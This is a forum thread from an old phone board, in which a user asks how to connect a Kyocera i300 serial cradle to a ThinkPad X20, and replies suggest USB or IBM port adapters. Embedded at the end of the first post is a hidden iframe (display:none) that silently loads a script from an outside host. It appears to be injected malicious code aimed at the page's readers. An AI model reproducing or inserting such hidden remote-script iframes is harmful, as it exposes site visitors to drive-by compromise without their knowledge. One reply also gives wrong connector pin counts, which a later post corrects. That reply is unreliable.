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    Anyone not have place to put i300 serial cradle on laptop?

    I've had the phone 2 weeks and love it. Problem: I have two laptops (work and personal). I've got the phone synching with my home laptop great, but my work laptop is an IBM thinkpad (don't know model #). All it has is one "female" serial port -- and the i300 serial is also female. Thus, as far as I can tell, there is no way to connect the two (other than IR, which is really slow). I assume there is some sort of adapter I can get somewhere... anyone have any insight?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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    you can get an adapter...... just make sure its a a serial port your looking at on the 2nd laptop.... could it be some other kind of port?

    I wouldn't think IBM would make a laptop with the connector reveresed, thereby different than the standard....

    Brooks

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    Methings that a VGA connector, not a serial connector......
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    Yeah, count the pins - a serial has 15 pins, a VGA port has like 25 or something

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    Originally posted by theminor
    Yeah, count the pins - a serial has 15 pins, a VGA port has like 25 or something
    No serial is a 9 pin connector. Display connector is 15 pin.

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    15 pins. So nowhere to hook up the unit? This is a brand new laptop, Pentium 3, Thinkpad X20. Weird. (I realize serial is old technology, but not completely outdated).

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    i bet you have usb though... so you will have to geta usb adapter....

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    wow... the PC world is catching up? heh, Apple dropped the serial ports a LONG time ago....


    Brooks

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    IBM has a port adaptor for that laptop that includes a serial port.....
    CB1111

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